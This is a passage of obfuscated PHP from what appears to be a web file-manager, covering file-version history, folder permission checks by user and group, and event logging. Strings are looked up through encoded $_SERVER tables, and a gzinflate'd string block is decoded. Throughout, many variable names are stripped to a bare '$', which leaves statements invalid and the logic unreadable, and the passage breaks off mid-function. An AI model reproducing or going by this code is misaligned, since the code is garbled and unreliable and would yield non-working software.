$Ӏ = IO::move($[$Ѣ[1258]] . $[$Ѣ[32]], $, !1, $); if ($Ӏ) { $[$Ѣ[369]][$][$Ѣ[32]] = $; } } $[$Ѣ[1259]] = IO::move($[$Ѣ[1259]], $, !1, $ . $); self::saveData($[$Ѣ[1259]], $[$Ѣ[369]]); self::clearEmptyFolder($[$Ѣ[1258]]); } public static function rollback($, $ܕ푭) { $ƀ =& $_SERVER[ö]; $݃ = self::listData($); if (!$݃) { return; } $Ӥ = IO::info($); foreach ($݃[$ƀ[369]] as $ => $) { if ($[$ƀ[399]] == $ܕ푭) { self::add($); $ = $݃[$ƀ[1258]] . $[$ƀ[32]]; $ = IO::copy($, IO::pathFather($), REPEAT_REPLACE, $Ӥ[$ƀ[32]]); if ($) { self::remove($, $ܕ푭); } return $; } } return !1; } public static function setDetail($Ú, $, $Ť) { $у =& $_SERVER[ö]; $ = self::listData($Ú); if (!$) { return; } foreach ($[$у[369]] as $݈Ϸʌ => $Ϻ) { if ($Ϻ[$у[399]] == $) { $[$у[369]][$݈Ϸʌ][$у[1257]] = $Ť; self::saveData($[$у[1259]], $[$у[369]]); return !0; } } return !1; } public static function fileInfo($, $ڿȃ) { $ŕ =& $_SERVER[ö]; $ű = self::listData($); if (!$ű) { show_json(LNG($ŕ[105]), !1); } $ÎɈ = $ŕ[12]; foreach ($ű[$ŕ[369]] as $ש => $) { if ($[$ŕ[399]] != $ڿȃ) { continue; } $ÎɈ = $ű[$ŕ[1258]] . $[$ŕ[32]]; break; } if (!$ÎɈ) { show_json(LNG($ŕ[105]), !1); } return IO::info($ÎɈ); } public static function fileOut($늪, $, $ = false) { $ =& $_SERVER[ö]; $ = self::fileInfo($늪, $); $ީ =& $GLOBALS[$[7]]; $ = isset($ީ[$[1209]]) && $ީ[$[1209]] == 1; if (isset($ީ[$[33]]) && $ީ[$[33]] == $[1260]) { return IO::fileOutImage($[$[84]], $ީ[$[1261]]); } IO::fileOut($[$[84]], $, get_path_this($늪)); } public static function listData($½, $͇ = true) { $ʫ =& $_SERVER[ö]; if ($͇ && !IO::exist($½)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($½, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ = self::pathHistory($½); $͂ = array($ʫ[1259] => $ . $ʫ[1246], $ʫ[1258] => rtrim(get_path_father($), $ʫ[8]) . $ʫ[8], $ʫ[369] => array()); $ = IO::getContent($͂[$ʫ[1259]]); if ($) { $ = json_decode($, !0); if (is_array($)) { $͂[$ʫ[369]] = $; } } return $͂; } private static function saveData($Қ, $㽇) { $ӹ =& $_SERVER[ö]; self::log($ӹ[1262] . $Қ . $ӹ[71] . count($㽇), $ӹ[758]); if ($㽇) { return IO::setContent($Қ, json_encode($㽇)); } $ = IO::pathFather($Қ); IO::remove($Қ); self::clearEmptyFolder($); return !0; } public static function clearEmptyFolder($) { $Ι =& $_SERVER[ö]; if (trim($, $Ι[8]) == trim(self::$_historyBase, $Ι[8])) { return; } $ = IO::pathFather($); $㏠ہ = IO::has($, !0); if ($㏠ہ[$Ι[207]] > 0 || $㏠ہ[$Ι[208]] > 0) { return; } IO::remove($); self::clearEmptyFolder($); } private static function getBasePath() { $ܰ =& $_SERVER[ö]; $ڊ = Model($ܰ[1263])->get($ܰ[1264]); if ($ڊ) { if (!IO::exist($ڊ)) { IO::mkdir($ڊ); } if (get_path_this($ڊ) == $ܰ[1249]) { $Ț = $ܰ[1265] . rand_string(8); @rename($ڊ, get_path_father($ڊ) . $ܰ[8] . $Ț); $ڊ = DATA_PATH . $Ț . $ܰ[8]; file_put_contents(DATA_PATH . $ܰ[1199], $ܰ[12]); Model($ܰ[1263])->set($ܰ[1264], $ڊ); } return $ڊ; } $ڊ = DATA_PATH . $ܰ[1265] . rand_string(8) . $ܰ[8]; $ڊ = IO::mkdir($ڊ); $ڊ = rtrim($ڊ, $ܰ[8]) . $ܰ[8]; file_put_contents($ڊ . $ܰ[1199], $ܰ[12]); file_put_contents(DATA_PATH . $ܰ[1199], $ܰ[12]); Model($ܰ[1263])->set($ܰ[1264], $ڊ); return $ڊ; } } goto C; f֠ԍ: $_SERVER[¤] = explode($_SERVER[ö][616], gzinflate(substr($_SERVER[ö][617], 10, -8))); $btuyijwvep = $_SERVER[ö][618]; if (strlen($btuyijwvep) < $_SERVER[ö][619]) { return; } goto Eį; e: class SourceAuthModel extends ModelBase { protected $tableName = "\x69\157\x5f\163\x6f\165\162\143\145\137\141\165\x74\150"; public function getAuth($ۧ) { $ǜٝ =& $_SERVER[ö]; $ = $this->sourceAuthSelect($ۧ); $ƨ = array(); $ = array(); $˴ = 2 << 25; foreach ($ as $Ј) { $ɼ = Model($ǜٝ[507])->listData($Ј[$ǜٝ[1969]]); if (!$ɼ) { continue; } $ƨ[] = $Ј; $҉ = 0; if ($Ј[$ǜٝ[411]] == SourceModel::TYPE_GROUP) { $҉ = $˴ * 2; } if ($Ј[$ǜٝ[411]] == SourceModel::TYPE_USER) { $҉ = $˴; } if ($Ј[$ǜٝ[411]] == SourceModel::TYPE_USER && $Ј[$ǜٝ[505]] == $ǜٝ[197]) { $҉ = 0; } $[] = $ɼ[$ǜٝ[413]] + $҉; } array_multisort($, SORT_DESC, $ƨ); return $ƨ; } public function sourceAuthSelect($) { $Ϛ =& $_SERVER[ö]; static $ = array(); $ِ = is_array($) ? !1 : !0; if ($ِ) { $ = array($); } $ = array(); foreach ($ as $姊) { if (isset($[$姊])) { $[$姊] = $[$姊]; } } if (count($) == count($)) { return $ِ ? $[$[0]] : $; } $ž = $Ϛ[2042]; $ʻȦ = array($Ϛ[402] => array($Ϛ[7], $)); $ = $this->field($ž)->order($Ϛ[399])->where($ʻȦ)->select(); $҇ω = array_to_keyvalue_group($, $Ϛ[402]); foreach ($ as $姊) { $[$姊] = $҇ω[$姊] ? $҇ω[$姊] : array(); } if ($ِ) { return $; } return $҇ω; } public function setAuth($, $Ɵ) { $ =& $_SERVER[ö]; $٠ = Model($[1350])->sourceInfo($); if (!$٠) { return !1; } if ($٠[$[411]] != SourceModel::TYPE_GROUP) { return !1; } $ = 1; $߉ = $٠[$[505]]; if ($߉ != $) { $ՕՕ = array($[1865] => $߉); $Ї = Model($[1955])->field($[1676])->where($ՕՕ)->select(); $Ї = array_to_keyvalue($Ї, $[12], $[1676]); } $ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $辽 = array(); foreach ($Ɵ as $د) { if (!in_array($د[$[411]], $)) { show_json(LNG($[2043]), !1); } if ($߉ != $) { if ($د[$[411]] == SourceModel::TYPE_GROUP) { } if ($د[$[505]] != 0 && !in_array($د[$[505]], $Ї)) { } } if ($د[$[505]] == 0) { $د[$[411]] = SourceModel::TYPE_USER; } $辽[] = array($[402] => $, $[411] => intval($د[$[411]]), $[505] => intval($د[$[505]]), $[1969] => intval($د[$[1969]]) ? intval($د[$[1969]]) : 0, $[2025] => intval($د[$[2025]]) ? intval($د[$[2025]]) : -1); } $this->where(array($[417] => $))->delete(); $this->addAll($辽); return !0; } public function authClear($) { $ӫ =& $_SERVER[ö]; $Ҡ = Model($ӫ[1350])->sourceInfo($); $϶ = array($); if ($Ҡ[$ӫ[410]] == $ӫ[88]) { $ = array($ӫ[590] => array($ӫ[550], $Ҡ[$ӫ[521]] . $ . $ӫ[551])); $϶ = Model($ӫ[1350])->field($ӫ[417])->where($)->getField($ӫ[402], !0); $϶[] = $; } $this->where(array($ӫ[417] => array($ӫ[418], $϶)))->delete(); return !0; } public function getAllChildren($) { $ =& $_SERVER[ö]; $· = Model($[1350])->sourceInfo($); if ($·[$[410]] != $[88]) { return $this->sourceListAuth(array($)); } if ($·[$[411]] != SourceModel::TYPE_GROUP) { return array(); } $ = 1; $͜ = array($); if ($·[$[432]] == $[197] && $·[$[505]] != $) { $͜ = $this->groupChidldAllRootSource($·[$[505]]); } $Ӽ = $this->field($[402])->group($[402])->select(); $Ӽ = array_to_keyvalue($Ӽ, $[12], $[402]); if (!$Ӽ) { return array(); } $Ȥ = $[2044]; $ƃ = array($[402] => array($[7], $Ӽ), $[431] => $[197]); $ = Model($[831])->field($Ȥ)->where($ƃ)->select(); $Ț = array($); foreach ($ as $) { foreach ($͜ as $д) { $ = $[50] . $д . $[50]; $Ɔ = $[$[521]] . $[$[402]] . $[50]; if (strstr($Ɔ, $)) { $Ț[] = $[$[402]]; break; } } } return $this->sourceListAuth($Ț); } private function sourceListAuth($) { $ܤ =& $_SERVER[ö]; $㗀 = Model($ܤ[1350])->sourceListInfo($, !0); $ = $this->sourceAuthSelect($); $뿏 = array(); $ = array(); foreach ($㗀 as $種) { unset($種[$ܤ[456]]); unset($種[$ܤ[454]]); unset($種[$ܤ[413]]); unset($種[$ܤ[86]]); $ = $[$種[$ܤ[402]]]; if (!$) { continue; } $種[$ܤ[2045]] = $this->authTargetInfo($); $種[$ܤ[519]] = rtrim($種[$ܤ[525]], $ܤ[8]) . $ܤ[8] . ltrim($種[$ܤ[519]], $ܤ[8]); $뿏[] = $種; $ը = count(explode($ܤ[8], trim($種[$ܤ[519]], $ܤ[8]))); $[] = $ը + ($種[$ܤ[33]] == $ܤ[75] ? 0 : 1000); } array_multisort($, SORT_ASC, $뿏); return $뿏; } private function groupChidldAllRootSource($) { $ȅ =& $_SERVER[ö]; $ = Model($ȅ[2046])->groupChildrenAll($); $䩍 = array($ȅ[432] => 0, $ȅ[505] => array($ȅ[7], $), $ȅ[411] => SourceModel::TYPE_GROUP); $ = Model($ȅ[831])->field($ȅ[402])->where($䩍)->select(); $ = array_to_keyvalue($, $ȅ[12], $ȅ[402]); return $; } private function authTargetInfo($߫) { $ =& $_SERVER[ö]; $ë = array(); $Ħ = array(); $ۍ = 2 << 25; foreach ($߫ as $) { $ـ = Model($[507])->listData($[$[1969]]); if (!$ـ) { continue; } if ($[$[411]] == SourceModel::TYPE_USER) { $Σ = Model($[513])->getInfoSimpleOuter($[$[505]]); if ($Σ[$[1676]] == $[1203]) { continue; } if ($Σ[$[1676]] == $[197]) { $Σ[$[32]] = LNG($[2047]); } } else { $Σ = Model($[522])->getInfoSimple($[$[505]]); } if (!$Σ) { continue; } $Σ[$[467]] = $ـ; $ë[] = $Σ; $ĵ = 0; if ($[$[411]] == SourceModel::TYPE_GROUP) { $ĵ = $ۍ * 2; } if ($[$[411]] == SourceModel::TYPE_USER) { $ĵ = $ۍ; } if ($[$[411]] == SourceModel::TYPE_USER && $[$[505]] == $[197]) { $ĵ = 0; } $Ħ[] = $ـ[$[413]] + $ĵ; } array_multisort($Ħ, SORT_DESC, $ë); return $ë; } public function getAllChildrenByUser($âҎ, $) { $ʲ =& $_SERVER[ö]; $ = Model($ʲ[535])->getInfo($); if (!$ || !$âҎ || !$) { return array(); } $ = Model($ʲ[1350])->sourceInfo($âҎ); $ߝ = array(); $ߒ = 1; if ($[$ʲ[432]] == $ʲ[197] && $[$ʲ[505]] != $ߒ && $this->groupContainUser($[$ʲ[505]], $)) { foreach ($[$ʲ[2048]] as $) { $㞭 = Model($ʲ[522])->getInfo($[$ʲ[1865]]); $à = Model($ʲ[535])->getInfoSimpleOuter($); $Ã[$ʲ[467]] = $[$ʲ[413]]; if (Model($ʲ[507])->authCheckAction($[$ʲ[413]][$ʲ[413]], $ʲ[1886])) { continue; } $߹ = array($ʲ[32] => $ʲ[1223] . $㞭[$ʲ[32]], $ʲ[402] => $㞭[$ʲ[86]][$ʲ[402]], $ʲ[84] => KodIO::make($㞭[$ʲ[86]][$ʲ[402]]), $ʲ[432] => $ʲ[197], $ʲ[411] => $ʲ[515], $ʲ[33] => $ʲ[554], $ʲ[519] => $㞭[$ʲ[526]], $ʲ[1865] => $㞭[$ʲ[1865]], $ʲ[523] => $㞭[$ʲ[432]], $ʲ[2045] => array($Ã)); $ߝ[$߹[$ʲ[402]]] = $߹; } } $Һ = array(); $̓ = $this->getAllChildren($âҎ); foreach ($̓ as $ݹ) { $ = !1; foreach ($ݹ[$ʲ[2045]] as $̖ñ) { if ($̖ñ[$ʲ[1676]]) { if ($̖ñ[$ʲ[1676]] == $) { $ = !0; break; } } if ($̖ñ[$ʲ[1865]]) { if ($this->groupContainUser($̖ñ[$ʲ[1865]], $)) { $ = !0; break; } } } if ($) { $Һ[] = $ݹ; } $ = $ݹ[$ʲ[402]]; if (isset($ߝ[$])) { $ݹ[$ʲ[2045]][] = $ߝ[$][0]; $ߝ[$] = !1; } } $ߝ = array_filter(array_values($ߝ)); $Һ = array_merge($ߝ, $Һ); return $Һ; } public function setAllChildrenByUser($, $ۿ, $҉) { $ݕҡ =& $_SERVER[ö]; $҂ = $this->getAllChildrenByUser($, $ۿ); if (!$҉ || !$҂) { return !1; } foreach ($҂ as $ƳӤ) { $āꇠ = array(); foreach ($ƳӤ[$ݕҡ[2045]] as $ھ) { $հ = $ھ[$ݕҡ[467]]; $今 = $ھ[$ݕҡ[1676]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ = $ھ[$ݕҡ[1676]] ? $ھ[$ݕҡ[1676]] : $ھ[$ݕҡ[1865]]; if ($ھ[$ݕҡ[1676]] && $ھ[$ݕҡ[1676]] == $ۿ) { continue; } $āꇠ[] = array($ݕҡ[402] => $ƳӤ[$ݕҡ[402]], $ݕҡ[411] => $今, $ݕҡ[505] => intval($), $ݕҡ[1969] => isset($հ[$ݕҡ[399]]) ? intval($հ[$ݕҡ[399]]) : 0, $ݕҡ[2025] => isset($հ[$ݕҡ[2025]]) ? intval($հ[$ݕҡ[2025]]) : -1); } $āꇠ[] = array($ݕҡ[402] => $ƳӤ[$ݕҡ[402]], $ݕҡ[411] => SourceModel::TYPE_USER, $ݕҡ[505] => intval($ۿ), $ݕҡ[1969] => intval($҉), $ݕҡ[2025] => -1); $this->where(array($ݕҡ[417] => $ƳӤ[$ݕҡ[402]]))->delete(); $this->addAll($āꇠ); } return !0; } public function get($łʅ) { $ = $this->getSourceList(array($łʅ), !0); return $[0]; } public function getSourceList($ҩ, $ɑ = false, $٤ = false) { $ =& $_SERVER[ö]; if (!$ҩ) { return array(); } $ɑ = Model($[1350]); if (!$ɑ && count($ҩ) == 1) { $ɑ = array(); $ɑ[$ҩ[0]] = $ɑ->sourceInfo($ҩ[0]); } if (!$ɑ) { $ = array($[417] => array($[418], $ҩ)); $ɑ = $ɑ->field($[2049])->where($)->select(); $ɑ = array_to_keyvalue($ɑ, $[402]); } $ = $ҩ; foreach ($ɑ as $ => $) { $ء = $ɑ->parentLevelArray($[$[521]]); $ = array_merge($, array($), array_reverse($ء)); } $ = array_values(array_unique($)); if (!$) { return array(); } $ = $this->sourceAuthSelect($); $ = array(); foreach ($ as $) { if (isset($[$])) { $[$] = $[$]; } } $̦ɏ = $this->userIsRoot($٤); $ = AuthModel::authAll(); $Ҧ = array($[414] => $, $[2050] => array($[419] => 0, $[1871] => $, $[420] => LNG($[2051]), $[1888] => $[2052])); $۷ = array(); foreach ($ɑ as $ => $) { if ($̦ɏ && $GLOBALS[$[6]][$[1884]]) { $۷[$] = $Ҧ; continue; } $۷[$] = $this->makeSourceAuth($, $, $٤); } return $۷; } public function authDeepCheck($, $ɝ = false) { $ =& $_SERVER[ö]; $ɝ = $ɝ ? $ɝ : USER_ID; $ϖ = $this->makeAuthDeep($ɝ); if (!in_array($, $ϖ[$[2053]])) { return !1; } $ = array(); foreach ($ϖ[$[2054]] as $φ => $ײ) { if (!in_array($, $ײ)) { continue; } $[] = $φ; } if (!$) { return !1; } $о = $ ? $[0] : $; return array($[414] => -1, $[467] => array($[419] => $[1203], $[1871] => $[197], $[420] => LNG($[2055]), $[1888] => $[2056]), $[2057] => LNG($[2058]), $[2059] => $this->sourceAuthInfo($о)); } protected function makeAuthDeep($܋ = false) { $ɝ =& $_SERVER[ö]; static $ = array(); $܋ = $܋ ? $܋ : USER_ID; if (isset($[$܋])) { return $[$܋]; } $ǻ = Model($ɝ[2060])->listData(); $ = array(); foreach ($ǻ as $) { if ($[$ɝ[413]] == 0 && $[$ɝ[1887]] == $ɝ[88]) { $[] = $[$ɝ[399]]; } } $ = $this->userGroupParents($܋); $ = array($ɝ[411] => SourceModel::TYPE_USER, $ɝ[505] => $܋); if ($) { $ = array(array($ɝ[411] => SourceModel::TYPE_USER, $ɝ[505] => $܋), array($ɝ[411] => SourceModel::TYPE_GROUP, $ɝ[505] => array($ɝ[418], $)), $ɝ[1014] => $ɝ[1963]); } $ = $this->field($ɝ[2061])->where($)->select(); $ = array(); $Թ = array_to_keyvalue_group($, $ɝ[402]); foreach ($Թ as $ȉ => $) { $ = $this->authArrayCheck($, $܋); if ($[$ɝ[414]] > 0) { $[] = $ȉ . $ɝ[12]; } } if ($) { $ = Model($ɝ[522]); foreach ($ as $) { $ = $->getInfo($); if (!$ || !is_array($[$ɝ[86]])) { continue; } $[] = $[$ɝ[86]][$ɝ[402]]; } } $ƛ = array(); $ݩ = $; $ρ = Model($ɝ[1350]); $ = Model($ɝ[522]); $މ = array(); $ = array(); $焧 = array(); $흫 = array(); if ($) { $ = $ρ->where(array($ɝ[402] => array($ɝ[418], $)))->select(); foreach ($ as $溂) { $ = $ρ->parentLevelArray($溂[$ɝ[521]]); $ƛ = array_merge($ƛ, $); $ݩ[] = $溂[$ɝ[505]]; $މ[$溂[$ɝ[402]]] = $; $[$溂[$ɝ[402]]] = $溂[$ɝ[505]]; } } $ݩ = array_values(array_unique($ݩ)); $ʖ = $ݩ; foreach ($ʖ as $) { $ = $->getInfo($); $ = $ρ->parentLevelArray($[$ɝ[521]]); $ݩ = array_merge($ݩ, $); } $ݩ = array_values(array_unique($ݩ)); foreach ($ݩ as $) { $ = $->getInfo($); $ƛ[] = $[$ɝ[86]][$ɝ[402]]; $焧[$] = $[$ɝ[86]][$ɝ[402]]; $흫[$] = $ρ->parentLevelArray($[$ɝ[521]]); } foreach ($މ as $Ւ => $엯) { $܁ = $[$Ւ]; if (!$܁ || !$焧[$܁]) { continue; } $ = array(); foreach ($흫[$܁] as $) { $[] = $焧[$]; } $މ[$Ւ] = array_merge($, $엯); } $ƛ = array_values(array_unique($ƛ)); $䂟 = array($ɝ[2053] => $ƛ, $ɝ[2054] => $މ); $[$܋] = $䂟; return $䂟; } private function makeSourceAuth($, $ٝ, $֊ב = false) { $ =& $_SERVER[ö]; $ = $[88]; $ = $[$[505]]; $ = $[$[411]] == SourceModel::TYPE_GROUP; $Ĭϱ = $ ? $this->groupRootAuth($, $֊ב) : !1; if ($Ĭϱ && Model($[507])->authCheckAction($Ĭϱ[$[413]], $[1886])) { return $this->groupAuthInfo($Ĭϱ, $); } $ = Model($[1350])->parentLevelArray($[$[521]]); $ = array_merge(array($[$[402]]), array_reverse($)); $ = !1; foreach ($ as $ŷ) { if (!isset($ٝ[$ŷ])) { continue; } $ = $this->authMake($ٝ[$ŷ], $֊ב); if ($[$[467]]) { $ = $; break; } } if (!$) { return $; } if (!$ && $Ĭϱ) { $ = $this->groupAuthInfo($Ĭϱ, $); } if (!$) { $ = Model($[522])->getInfo($); $ = explode($[50], trim($[$[521]], $[50])); $ = array_reverse($); foreach ($ as $Ҁ) { if ($Ҁ == $[197] || $Ҁ == $) { continue; } $ر = $this->groupRootAuth($Ҁ, $֊ב); if (!$ر) { continue; } $ = $this->groupAuthInfo($ر, $Ҁ); break; } } if (!$ || $[$[414]] <= 0) { $쩧 = $this->authDeepCheck($[$[402]], $֊ב); if ($쩧) { $ = $쩧; } } return $; } private function userIsRoot($ߑ = false) { $Ƨۀ =& $_SERVER[ö]; if (!$ߑ && _get($GLOBALS, $Ƨۀ[503])) { return !0; } $՚ = Model($Ƨۀ[535])->getInfo($ߑ); $̫ړ = Model($Ƨۀ[2062])->listData($՚[$Ƨۀ[1557]]); if ($̫ړ && $̫ړ[$Ƨۀ[511]][$Ƨۀ[2063]] == 1) { return !0; } return !1; } private function sourceAuthInfo($׆) { $ʁ =& $_SERVER[ö]; $믳 = Model($ʁ[1350]); $ȓх = $믳->sourceInfo($׆); if (!$ȓх) { return !1; } $믳->groupPathDisplay($ȓх); $ = array($ȓх); $ = $믳->_listAppendPath($); $ȓх = $[0]; $۶ܟ = $ȓх[$ʁ[519]]; if (isset($ȓх[$ʁ[527]])) { $ = explode($ʁ[8], trim($ȓх[$ʁ[519]], $ʁ[8])); array_shift($); $۶ܟ = $ȓх[$ʁ[525]] . $ʁ[2064] . implode($ʁ[8], $); } return array($ʁ[420] => $ȓх[$ʁ[32]], $ʁ[84] => KodIO::make($ȓх[$ʁ[402]]), $ʁ[2065] => $۶ܟ); } private function groupAuthInfo($ߜ, $) { $Ҳ =& $_SERVER[ö]; $거 = Model($Ҳ[522])->getInfo($); return array($Ҳ[2066] => intval($ߜ[$Ҳ[413]]), $Ҳ[2050] => $ߜ, $Ҳ[2067] => LNG($Ҳ[2068]), $Ҳ[2059] => array($Ҳ[420] => $거[$Ҳ[32]], $Ҳ[84] => KodIO::make($거[$Ҳ[86]][$Ҳ[402]]), $Ҳ[2065] => $거[$Ҳ[526]])); } protected function groupRootAuth($, $ة = false) { $ =& $_SERVER[ö]; $ة = $ة ? $ة : USER_ID; $鹟 = $ة . $[2069] . $; static $ = array(); if (isset($[$鹟])) { return $[$鹟]; } $ = Model($[522])->getInfo($); $ = $this->userGroupList($ة); $ķϸ = isset($[$]) ? $[$][$[413]] : !1; if ($ķϸ && Model($[507])->authCheckAction($ķϸ[$[413]], $[1886])) { $[$鹟] = $ķϸ; return $ķϸ; } $꺹 = $this->sourceAuthSelect($[$[86]][$[402]]); $ŷ = $꺹 ? $this->authMake($꺹, $ة) : !1; $̘ = $ŷ ? $ŷ[$[467]] : !1; $[$鹟] = $̘ ? $̘ : $ķϸ; return $[$鹟]; } public function authOwnerApply($정) { $ =& $_SERVER[ö]; if (empty($정[$[413]]) || isset($정[$[2070]]) && $정[$[2070]]) { return $정; } if (AuthModel::authCheckRoot($정[$[413]][$[414]])) { return $정; } $ު = Model($[1350])->parentLevelArray($정[$[521]]); $ު = array_merge(array($정[$[402]]), array_reverse($ު)); $ = $this->sourceAuthSelect($ު); $Ž = array(); $ɑ = array(); foreach ($ as $ => $) { $ = $this->authFolderOwnerUser($); $Ž[$] = $; $ɑ = array_merge($ɑ, $[$[600]]); if ($[$[2071]]) { break; } } if (count($ɑ) == 0) { $ɑ = $this->authFolderOwnerGroup($정[$[505]]); } $ɑ = array_unique($ɑ); if (AuthModel::authCheckRoot($정[$[413]][$[414]])) { $ɑ[] = USER_ID; } $정[$[413]][$[2072]] = Model($[513])->userListInfo($ɑ); return $정; } private function authFolderOwnerGroup($) { $ =& $_SERVER[ö]; $ = Model($[1955])->where(array($[1865] => $))->select(); $҂ = array(); if (!$) { return $҂; } foreach ($ as $ڶ) { $ = $this->authInfo($ڶ); if (AuthModel::authCheckRoot($[$[413]])) { $҂[] = $ڶ[$[1676]]; } } return $҂; } private function authFolderOwnerUser($) { $՜ =& $_SERVER[ö]; $쒵 = array(); $ = !1; foreach ($ as $) { $̀ = $this->authInfo($); if ($[$՜[505]] == $՜[197]) { $ = !0; } if ($[$՜[411]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($̀[$՜[413]])) { $쒵[] = $[$՜[505]]; } } } return array($՜[600] => $쒵, $՜[2071] => $); } public function authMake($ۣ, $ = false) { $ =& $_SERVER[ö]; $ҋ = $this->authArrayCheck($ۣ, $); if ($ҋ[$[2073]]) { $ҋ[$[2073]] = $this->sourceAuthInfo($ҋ[$[2073]]); } return $ҋ; } public function authArrayCheck($ֆ, $ = false) { $ =& $_SERVER[ö]; if (!$ֆ) { return array($[414] => 0, $[467] => !1); } $ = $ ? $ : USER_ID; $ = 0; $Զ = 0; $ = 0; $ё = 0; $љ = 0; $隀ܮ = 0; $ֆ = 1000; $̳ = 0; $ = 0; $ = 0; $̸ = 0; $ƿ = array($[402] => 0); foreach ($ֆ as $ƿ) { $ = $this->authInfo($ƿ); if (!$) { continue; } $ = $ƿ[$[505]]; $Ǣ = intval($[$[413]]); if ($ƿ[$[411]] == SourceModel::TYPE_USER && $ == $) { $ = !0; $ = $; $Զ = $Ǣ; } else { if ($ƿ[$[411]] == SourceModel::TYPE_GROUP && $this->groupContainUser($, $)) { $ё = !0; $ = $this->groupStepToUserGroup($, $); if ($ < $ֆ) { $ֆ = $; $љ = $Ǣ; $隀ܮ = $; $̳ = $; } if ($ == $ֆ && $Ǣ >= $љ) { $љ = $Ǣ; $隀ܮ = $; $̳ = $; } } else { if ($ == $[197]) { $ = !0; $̸ = $; $ = $Ǣ; } } } } if ($) { $ղ = $Զ; $ = $; $ = LNG($[2074]); } else { if ($ё) { $ղ = $љ; $ = $隀ܮ; $ = Model($[522])->getInfo($̳); $ = $[162] . $[$[526]] . $[2075] . LNG($[2076]); } else { if ($) { $ղ = $; $ = $̸; $ = LNG($[2047]); } else { $ղ = 0; $ = !1; $ = $[12]; } } } $鴎 = array($[2066] => intval($ղ), $[2050] => $, $[2067] => $, $[2059] => $ƿ[$[402]]); return $鴎; } private function groupContainUser($, $ٚ = false) { return in_array($, $this->userGroupParents($ٚ)); } private function groupStepToUserGroup($ҍ, $פ = false) { $ק =& $_SERVER[ö]; $ = $this->userGroupList($פ); $ = 1000; $Ȫ = $GLOBALS[$ק[6]][$ק[89]][$ק[1968]] == 1; $ = $Ȫ ? 3 : 2; foreach ($ as $ㅁ) { if ($ㅁ[$ק[1865]] == $ҍ) { return 0; } $ = explode($ק[50], trim($ㅁ[$ק[521]], $ק[50])); if ($[0] == $ק[197] && count($) > $) { $ = array_reverse(array_slice($, $)); $ = array_search($ҍ, $); if ($ !== !1 && $ + 1 <= $) { $ = $ + 1; } } } return $; } private function userGroupList($ = false) { $ =& $_SERVER[ö]; static $ˮ = array(); if (isset($ˮ[$])) { return $ˮ[$]; } $ظ = Model($[535])->getInfo($); $ˮ[$] = array_to_keyvalue($ظ[$[2048]], $[1865]); return $ˮ[$]; } public function userGroupParents($) { $ =& $_SERVER[ö]; static $吒 = array(); $ = $ ? $ : USER_ID; if (isset($吒[$])) { return $吒[$]; } $ = $this->userGroupList($); $܄ϵ = array(); $Ȉ = $GLOBALS[$[6]][$[89]][$[1968]] == 1; $Ҥ = $Ȉ ? 3 : 2; foreach ($ as $) { $՜ = array($[$[1865]]); $ß = explode($[50], trim($[$[521]], $[50])); if ($ß[0] == $[197] && count($ß) > $Ҥ) { $݃ = array_slice($ß, $Ҥ); $՜ = array_merge($՜, array_reverse($݃)); } $܄ϵ = array_merge($܄ϵ, $՜); } $吒[$] = array_unique($܄ϵ); return $吒[$]; } public function authTargetInfoMake($) { $ׄ =& $_SERVER[ö]; $ȇ = array(); $ = array(); foreach ($ as $ҵ) { if ($ҵ[$ׄ[411]] == SourceModel::TYPE_USER) { $ȇ[] = intval($ҵ[$ׄ[505]]); } else { if ($ҵ[$ׄ[411]] == SourceModel::TYPE_GROUP) { $[] = intval($ҵ[$ׄ[505]]); } } } if ($ȇ) { $ȇ = Model($ׄ[513])->userListInfo($ȇ); } if ($) { $餭 = array($ׄ[1953] => array($ׄ[418], $)); $ = Model($ׄ[522])->field($ׄ[2077])->where($餭)->select(); $ = array_to_keyvalue($, $ׄ[1865]); } return array($ׄ[2078] => $ȇ, $ׄ[2079] => $); } public function authInfo($) { $ =& $_SERVER[ö]; if ($[$[1969]]) { $ = Model($[507])->listData($[$[1969]]); if (!$) { return !1; $Ŭ = Model($[507])->listData(); $Ÿ = array_filter_by_field($Ŭ, $[413], $[197]); return $Ÿ; } $ = array_field_key($, array($[399], $[32], $[413], $[1888], $[1889])); $[$[2080]] = $; return $; } else { return array($[419] => 0, $[1871] => $[$[2025]], $[420] => $[12], $[1888] => $[2081]); } } } class SourceEventModel extends ModelBase { protected $tableName = "\x69\157\137\163\157\165\x72\x63\145\137\145\x76\x65\x6e\164"; protected $dataAuto = array(array("\143\162\x65\x61\164\x65\x54\x69\x6d\x65", "\x74\x69\155\145", "\x69\156\163\x65\x72\164", "\x66\165\x6e\x63\x74\151\x6f\156"), array("\x64\145\x73\143", '', "\x69\156\x73\x65\x72\164\x2c\165\x70\x64\141\x74\x65\54\x73\145\x6c\x65\143\164", "\152\163\x6f\156")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($, $ΎƊ, $Ꮮ = '') { $ =& $_SERVER[ö]; if (!$this->eventSave) { return; } $ = Model($[1350])->sourceInfo($); if (!$) { return !1; } if ($this->isCacheEvent($, $ΎƊ)) { return; } if ($Ꮮ && is_string($Ꮮ)) { $Ꮮ = array($[1904] => $Ꮮ); } $ħ = array($[417] => $, $[2082] => $[$[432]], $[2083] => $[$[32]], $[519] => !empty($[$[519]]) ? $[$[519]] : $[12], $[1667] => USER_ID, $[422] => $ΎƊ, $[1669] => $Ꮮ); $this->addSystemLog($ΎƊ, $ħ); unset($ħ[$[2083]], $ħ[$[519]]); return $this->add($ħ); } private function addSystemLog($˒, $⏤) { $璯Ԯ =& $_SERVER[ö]; if ($˒ == $璯Ԯ[2084]) { $˒ = $⏤[$璯Ԯ[453]][$璯Ԯ[2085]]; } else { if (in_array($˒, array($璯Ԯ[1845], $璯Ԯ[2086]))) { $˒ = $⏤[$璯Ԯ[453]][$璯Ԯ[761]]; } } $ = array_merge($⏤, array($璯Ԯ[2087] => $⏤[$璯Ԯ[402]], $璯Ԯ[2088] => $⏤[$璯Ԯ[2088]])); Hook::trigger($璯Ԯ[2089], $璯Ԯ[2090] . $˒, $⏤); Model($璯Ԯ[1809])->addLog($璯Ԯ[2090] . $˒, $); } private function isCacheEvent($ԏ, $١) { if ($ԏ[$_SERVER[ö][411]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function 